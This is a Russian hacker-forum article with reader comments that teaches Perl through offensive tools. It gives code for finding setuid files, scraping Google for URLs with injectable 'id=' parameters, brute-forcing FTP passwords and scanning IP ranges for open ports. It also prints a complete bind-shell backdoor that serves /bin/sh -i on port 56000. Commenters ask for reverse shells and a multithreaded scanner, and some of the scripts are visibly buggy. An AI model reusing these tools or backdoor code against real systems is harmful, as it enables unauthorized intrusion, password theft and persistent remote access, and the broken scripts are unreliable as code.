Perl – лучший друг хакера. Введение && Почему нам так подходит перл? Здравствуйте уважаемые читатели. В этой статье я постараюсь описать некоторые аспекты программирования для perl, которые, несомненно пригодятся для хекера. Почему перл? Много причин... Во-первых, простота. Да перл действительно очень простой язык. Это язык для тех, кто не хочет морочить себе голову набивая кучу кода, что бы вывести фразу "Hello word". А разве не это нам нужно? Простота и скорость создания скрипта. Так сказать, что бы писать программы на лету. Самое интересное, что на нем можно написать приложение для веб, а можно, например, скрипт для передачи шеллкода через уязвимый буфер. Не правда ли здорово?) Побудила меня написать этот материал статья Cobalt -а -"Perl - инструмент хакера", по моему мнению, статья получилась очень не полной. А тема интересная. Ну что ж пора переходить от слов к делу. Этюд 1. Ищем suid биты. Представим, что нам необходимо просканировать всю систему и найти файлы с suid битом (думаю ясно для чего). На перле это сделать просто также, как два байта передать. Набросаем примерный алгоритм функции поиска: *Функции принимает аргумента в качестве стартового каталога. *Переходим в указанный каталог и начинаем поиск *Проверяем файлы, а если встречаем каталог, то вызываем функцию повторно (рекурсивно) Да, если встречаем "." или ".." то пропускаем их. Т.к. первая указывает на текущий каталог, а вторая на каталог выше. Собстенно сам код: Code: #!/usr/bin/perl use Cwd; #С помощью этого модуля мы определим текущий каталог sub Findf { my($work)=shift; my($start)=&cwd; chdir($work) || die "Error!\n"; #переходи opendir(DIR,".") || die "Error\n"; #открываем дирикторию my @names=readdir(DIR) || die "Error!\n"; #читаем файлы closedir(DIR); foreach my $name(@names) { next if($name eq "."); #пропускаем, если это указатель на каталог next if($name eq ".."); if(-l $name){next;} #если ссылка пропускаем if(-d $name) #если это директория, то вызываем нашу функцию {&Findf($name);next;} if(-u $name)# если установлен суид бит выводим инфу { print "Найден суидный файл - $name\n"; } } chdir($start); } &Findf("."); В этом коде для определения suid бита у файла мы используем опцию -u. Так же можно было использовать модуль File::stat. Но в нашем случае проще обойтись ключом -u. Вот еще несколько опций для определения статусной информации о файле: Code: -e - проверка существования файла -z - файл существует и он пустой -r - У нас есть права на чтение файла -w - у нас есть права на изменение файла -x - у нас есть права на редактирование файла -o - мы являемся владельцем файла -f - это обычный файл -d -это каталог -l - это ссылка -u присутствует suid бит -g присутствует guid бит -k присутвтвует липкий бит (steek bit) -T - это текстовой файл -B - это бинарный файл Можно, например, составить список каталогов, которые доступны нам. Этюд 2. Парсинг? *YES*. Скажу вот что - написав всего лишь один скрипт для парсинга ответов гугла и наши возможности практически безграничны. Ведь google это самый мощный поисковик. С помощью него мы сможем получить гораздо больше информации о сайте & сервере, чем при прямом запросе к ресурсу. Например, можно провести ReversIP разведку, или составить структуру сайта. Вот только проблема в том, что google при большом кол-ве запросов попросту банит нас. Так что нужно быть аккуратными. Наш пример будет делать в гугл запрос "inurl: id=" и выбирать ссылки из полученной страницы. Что будем использовать в нашем коде: Code: HTML::LinkExtor - для поиска ссылок. LWP::UserAgent - для запросов. Поехали! Code: #!usr/bin/perl use LWP::UserAgent; use HTML::LinkExtor; sub parser { my $ua=LWP::UserAgent->new(); #создаем объект $in=0; for($in=0;$in<2;$in=$in+10) # первые две страницы { my $url="http://google/search?q=inurl:id=&start=$in"; $ua->agent("GR-TEAM sql finger"); my $req=HTTP::Request->new(GET=>$url); $req->referer("www.getroot.ru"); my $resp=$ua->request($req); $html=$html.$resp->content();#получаем пагу } $p = HTML::LinkExtor->new(\&cb);#все ссылки будут обрабатываться в cb() $p->parse($html); sub cb #функция для обработки ссылок { @links=@_;#принимаем аргумент $i=0; foreach $na(@links)#перебираем ссылки { if(index($na,"id=")!=-1)#если ссылка не левая, а нашим запросом { if(index($na,"inurl:")==-1) {@urls[$i]=$na; $i++} # то закидываем это все в массив } } Функция cb обрабатывает ответы объекта $p. В качестве аргумента ей направляются наши ссылки. Парсер конечно не из лучших, но для примера подойдет. Этюд 3. Брутофорс по нашему. С помощью модуля NET::FTP простой брутajhc на перл можно написать за 10 минут. Удобство в том, что не нужно вдаваться в подробности работы протокола и можно уделить больше времени алгоритму. Итак, брут. Сначала забьем пароли в отдельный массив, а потом попросту будет из оттуда вынимать и пытаться подключиться. Смотримкод: Code: use Net::FTP; sub ftpb { print "Введите хост:\n"; $hostftp=<STDIN>; print "Введите имя пользователя\n"; $loginftp=<STDIN>; print "Введите путь до файла с паролями\n"; $passftp=<STDIN>;#приняли данные open(FILE,$passftp) || die "File pass not found\n";#открываем файлик $index=0; while(<FILE>) { chomp($_); @passwordsftp[$index]=$_; #записываем пароли в массив $index++; } $max=@passwordsftp; my $brut=Net::FTP->new($hostftp) || die "Не получается подключиться к указанному хосту\n"; for($index=1;$index<$max;$index++)#запускаем главный цикл { $ftp->login("$loginftp", "$passftp") || next; #пытаемся print "Пароль $passftp подошел)\n"; } } Что сюда можно добавить. Во-первых все входные данные желательно прогонять через функцию chomp. Она удалит знаки перевода каретки (\n), если такие имеются. Во-вторых, думаю просто обязательно нужно включить многопоточность. В-третьих, можно включить функцию, позволяющую пользователю самому выбирать, например timeout. Таймаут можно указать при подключении к хосту: Code: my $brut=Net::FTP->new($hostftp,Timeout => число) || die "Не получается подключиться к указанному хосту\n"; Этюд 4. BindShell. Таксс. Сейчас я покажу пример bindshell бэкдора на perl Это бывает очень полезно. Как всегда сначала смотрим алгоритм. Во-первых, биндим порт. Во-вторых, запускаем потоки ввода вывода. В-третьих, запускам терминал. А вот и сам код: Code: #!/usr/bin/perl #bindshell.pl #Usage: perl bindshell.pl & use Socket; $p=56000; socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')); setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1); bind(S,sockaddr_in($p,INADDR_ANY)); listen(S,50); while(1) { accept(X,S); if(!($pid=fork)){ if(!defined $pid){exit(0);} open STDIN,"<&X"; open STDOUT,">&X"; open STDERR,">&X"; exec("/bin/sh -i"); close X; } } Этюд 5. Сканирование под собственные нужды. Сначала я хотел в этом топе показать обычный сканер портов. Но это скучно. Покажу ка лучше вот что: тоже сканер, но сканировать он будет указанный диапазон ip, на один открытый порт, тот который мы укажем. Ну, например мы просканируем какую то сеть на открытый 23 порт. Те системы, у которых он открыт, могут быть уязвимы. Итак, алгоритм: Нам будет дан адрес и порт. В цикле перебираем последний разряд айпишника от 0 до 255 и пытаемся подключиться к указанному порту. Ну и все в принципе. Если подключение произошло успешно, выводим адрес. Вотисходник: Code: #!/usr/bin/perl use Socket; $host=@ARGV[0]; $port=@ARGV[1]; @ip=split (/\D+/, $host); #делим айпи на разряды по точке $index=0; $r1=$ip[0]; #записываем разряды в массив $r2=$ip[1]; $r3=$ip[2]; $host=$r1.".".$r2.".".$r3; #составляем предварительный адрес socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp')); while($index<=255) { $host=host.".".$index; #составляем окончательный адрес $addr = inet_aton($host); # далее коннект $paddr = sockaddr_in($port, $addr); if(connect(SOCK, $paddr)){ print("Host: $host open $port port"); }else{ next; } } Это нужно принимать как макет. Если будет серьезная разработка, то нужно включить многопоточность. Вообще еще можно сделать так: читать баннеры и сравнивать их с уязвимыми. Если сходиться, то сервис возможно уязвим. Напоследок. Данный материал был написан даже не с целью напичкать вас чем то новым (если это для вас ново), а для того что бы показать всю привлекательность языка perl. Я искренне надеюсь, что после этой статьи вам захочется изучать его. Ps обо всех недочетах и ошибках пишем в комментариях, не стесняемся скачать ©StraNgeR from GR-TEAM
Зачем изобретать велосипед? Это все заменяется 1 командой - find / -type f -perm -04000 -ls гугл написан без домена, функция вообще без параметров, смысл в ней? параметры гуглу передаются без url кодирования Брут без проксей, в 1 поток, херня это Биндить /dev/tty все же лучше и если уж описал binshell, то где backconnect? опять таки в 1 поток, канал по нормальному не загрузить, скорости никакой.
А можно узнать какойто учебнить по Perl ... ? Мне в статти нифига не понятно ... Может тому что я полный ламер в этом ....
учебник... Освой самостоятельно Perl за 24 часа норм. ну для чтение статьи думаю нужно иметь хотя бы начальные знания языка
Этюд 5. Сканирование под собственные нужды. Code: #!/usr/bin/perl use Socket; $host=@ARGV[0]; $port=@ARGV[1]; @ip=split (/\D+/, $host); #делим айпи на разряды по точке $index=0; $r1=$ip[0]; #записываем разряды в массив $r2=$ip[1]; $r3=$ip[2]; $host=$r1.".".$r2.".".$r3; #составляем предварительный адрес socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp')); while($index<=255) { $host=host.".".$index; #составляем окончательный адрес $addr = inet_aton($host); # далее коннект $paddr = sockaddr_in($port, $addr); if(connect(SOCK, $paddr)){ print("Host: $host open $port port"); }else{ next; } } а зде здесь менять порт вообше ? мне надо сканировать 2000 порт. Ну и хотел бы многопоточность ! можете подправить ?
Code: $paddr = sockaddr_in($port, $addr); тут - $port в скрипт передается по средствам параметров. perl.pl <host> <port>
POS_troi т.е. он все по одному сканирует ? ну это херня полная, если на самом деле так. я думал ведется диапазон, тип 55.111.222.0 - 55.111.222.256 : 2000 и все. он сканирует хосты по наличие порта 2000
Он как раз весь диапазон и сканирует Code: $host=$r1.".".$r2.".".$r3; #составляем предварительный адрес socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp')); while($index<=255) { $host=host.".".$index; #составляем окончательный адрес
Если уж учить Perl, то в первую очередь по этой книге - http://www.ozon.ru/context/detail/id/147137/ , а не по "освой за 24 часа/для чайников". По поводу статьи. Не в обиду автору, но я так полагаю, что автор сам недавно начал программировать на Perl? Это видно по стилю. Конечно, хочется сразу помочь другим, как сам узнаёшь новое, но я бы не советовал спешить. Немного по коду: - почему нет use strict, use warnings? это сильно облегчает поимку ошибок, да и код чище и правильней будет; - зачем излишняя интерполяция - $ftp->login("$loginftp", "$passftp") ; - chomp($_); - это тоже лишнее, данная магическая переменная по умолчанию обрабатывается во многих функциях ( если не указан аргумент ), что относится и к chomp; ну и так далее, можно откомментировать практически каждую строку, но лучше почитать вот это: http://www.milw0rm.com/papers/194 и остальные выпуски. В общем, надеюсь мои ссылки помогут, никого не хочу обидеть, в конце-концов, все учатся.
если ты знаешь между ними разницу, то что смешного? В общем, чтобы не разводить флейм и не создавать конфликтов, советую почитать perllexwarn - там хорошо описано что такое use warnings и что такое флаг -w.
ТС, а как же многопоточность? имхо это одно из главных преимуществ перле перед многими интерпретируемыми языками программирования.
ИМХО, целью ТС было не демонстрация своих хацкерских скриптов на perl, а всего лишь показать, что умение програмировать на перл - это очень полезный скил ) и не стоит тыкать пальцем и кричать "фууунах, без многопоточности!!!" Касаемо книг. Ларри Уолл, конечно, мужик хороший, однако сразу начинать изучать перл с его книги - это грудью на амбразуру. Есть замечательная книга того же издательства (O'Relly) _http://www.ozon.ru/context/detail/id/1704906/ - она больше подойдёт новичку, ИМХО. А насчёт "лучшего друга"... наверное, это всё-таки мозг )